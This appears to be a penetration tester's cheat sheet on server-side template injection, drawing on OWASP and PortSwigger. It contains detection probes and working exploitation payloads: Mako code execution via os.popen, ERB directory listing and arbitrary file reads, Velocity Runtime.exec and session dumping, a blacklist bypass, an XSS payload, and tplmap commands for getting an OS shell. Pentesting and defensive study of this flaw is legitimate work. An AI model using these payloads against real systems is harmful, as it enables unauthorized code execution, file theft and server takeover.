Server-side template injection is when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side. Template engines are designed to generate web pages by combining fixed templates with volatile data. Server-side template injection attacks can occur when user input is concatenated directly into a template, rather than passed in as data.
- Server-side template injection (PortSwigger)
- Exploiting server-side template injection vulnerabilities (PortSwigger)
- Template Injection Attacks – Bypassing Security Controls by Living off the Land (SANS)
- Server Side Template Injection (PayloadsAllTheThings)
- SSTI (Server Side Template Injection) (HackTricks)
WSTG-INPV-18: Testing for Server-side Template Injection (OWASP Testing Guide)
Examples
Not vulnerable
The user’s first name is passed into the template as data.
$output = $twig->render("Dear {first_name},", array("first_name" => $user.first_name) );
Vulnerable
Part of the template itself is being dynamically generated using the GET parameter name.
$output = $twig->render("Dear " . $_GET['name']);
http://vulnerable-website.com/?name={{bad-stuff-here}}
Testing
Detect
Try fuzzing the template by injecting a sequence of special characters commonly used in template expressions. If an exception is raised, this indicates that the injected template syntax is potentially being interpreted by the server in some way.
${{<%[%'"}}%\
Plaintext context
Most template languages allow you to freely input content either by using HTML tags directly or by using the template’s native syntax, which will be rendered to HTML on the back-end before the HTTP response is sent.
To differentiate from other vulnerabilities (like XSS), try executing a mathematical operation. If the result is “Hello 49”, the operation was evaluated by the server.
render('Hello ' + username)
http://vulnerable-website.com/?username=${7*7}
Code context
Try and break out of the statement using common templating syntax and attempt to inject arbitrary HTML after it. If this results in an error or blank output, you have either used syntax from the wrong templating language or, if no template-style syntax appears to be valid, server-side template injection is not possible. If the output is rendered correctly, along with the arbitrary HTML, this is a key indication that a server-side template injection vulnerability is present.
greeting = getQueryParameter('greeting')
engine.render("Hello {{"+greeting+"}}", data)
http://vulnerable-website.com/?greeting=data.username}}<tag>
Identify
Refer to the decision tree from PortSwigger: Server-side template injection.
Use the Detection section of PayloadsAllTheThings.
Once you have detected the template injection potential, the next step is to identify the template engine. Create probing payloads to test which template engine is being used and identify based on the response.
Ruby-based ERB engine
<%=foobar%>
(erb):1:in `<main>': undefined local variable or method `foobar' for main:Object (NameError)
from /usr/lib/ruby/2.5.0/erb.rb:876:in `eval'
from /usr/lib/ruby/2.5.0/erb.rb:876:in `result'
from -e:4:in `<main>'
Twig
{{7*'7'}}
49
Java Velocity
vulnerableParam=<@urlencode>#set ($x=7*7) ${x}<@/urlencode>
49
Jinja2
{{7*'7'}}
7777777
Exploit
See Server Side Template Injection (PayloadsAllTheThings).
Read
Read the template engine documentation. Learn the basic syntax, key functions and handling of variables.
Example of RCE with Mako template engine (Python-based):
<%
import os
x=os.popen('id').read()
%>
${x}
Explore
Attack – Ruby-based ERB engine
List all directories and then read arbitrary files
<%= Dir.entries('/') %>
<%= File.open('/example/arbitrary-file').read %>
Java Velocity
Use Hackvertor extension for URL encoding.
- Velocity examples (Apache)
Basic tests
vulnerableParam=<@urlencode>#set ($x=7*7) ${x}<@/urlencode>
vulnerableParam=<@urlencode>#set ( $foo = "Velocity" ) $foo<@/urlencode>
vulnerableParam=<@urlencode>#if($a==$a) This is true!#{else}This is false!#end<@/urlencode>
vulnerableParam=<@urlencode>
#set($source1 = "abc")
#set($select = "1")
#set($dynamicsource = "$source$select")
## $dynamicsource is now the string '$source1'
#evaluate($dynamicsource)
<@/urlencode>
vulnerableParam=<@urlencode>
#set( $directoryRoot = "www" )
#set( $templateName = "index.vm" )
#set( $template = "$directoryRoot/$templateName" )
$template
<@/urlencode>
On occasion the ‘#set’ instruction will be blacklisted, which we can circumvent by manipulating the syntax and replacing it with “#{set}”:
vulnerableParam=<@urlencode>#{set} ($x=7*7) ${x}<@/urlencode>
HTTP session server-side variables
vulnerableParam=<@urlencode>
#foreach ($key in $session.getAttributeNames()) $key:$session.getAttribute($key) #end
<@/urlencode>
Execute shell commands (NOT TESTED)
vulnerableParam=<@urlencode>$class.inspect("java.lang.Runtime").type.getRuntime().exec("id")<@/urlencode>
XSS
vulnerableParam=<@urlencode>
#set($xss = '<script>alert(1);</script>') $xss
<@/urlencode>
Tplmap
Automatic Server-Side Template Injection Detection and Exploitation Tool.
- tplmap (GitHub)
Installation
git clone https://github.com/epinna/tplmap.git
cd tplmap/
FIX: module ‘collections’ has no attribute ‘Mapping’
See issue 104 (GitHub).
In core/plugin.py, replace collections by collections.abc:
import collections
import collections.abc # FIX
In core/plugin.py, replace collections.Mapping by collections.abc.Mapping (in def _recursive_update):
if isinstance(d, collections.Mapping):
if isinstance(v, collections.Mapping):
if isinstance(d, collections.abc.Mapping): # FIX
if isinstance(v, collections.abc.Mapping): # FIX
Usage
Help
cd tplmap/
./tplmap.py -h
Basic usage
./tplmap.py -u 'http://x.x.x.x:80/index.php?param=whatever*'
Obtain OS shell
Example with template engine Java Velocity, using a POST HTTP method:
./tplmap.py -u 'http://x.x.x.x:80/index.php' -X POST -d param=whatever -e velocity --os-shell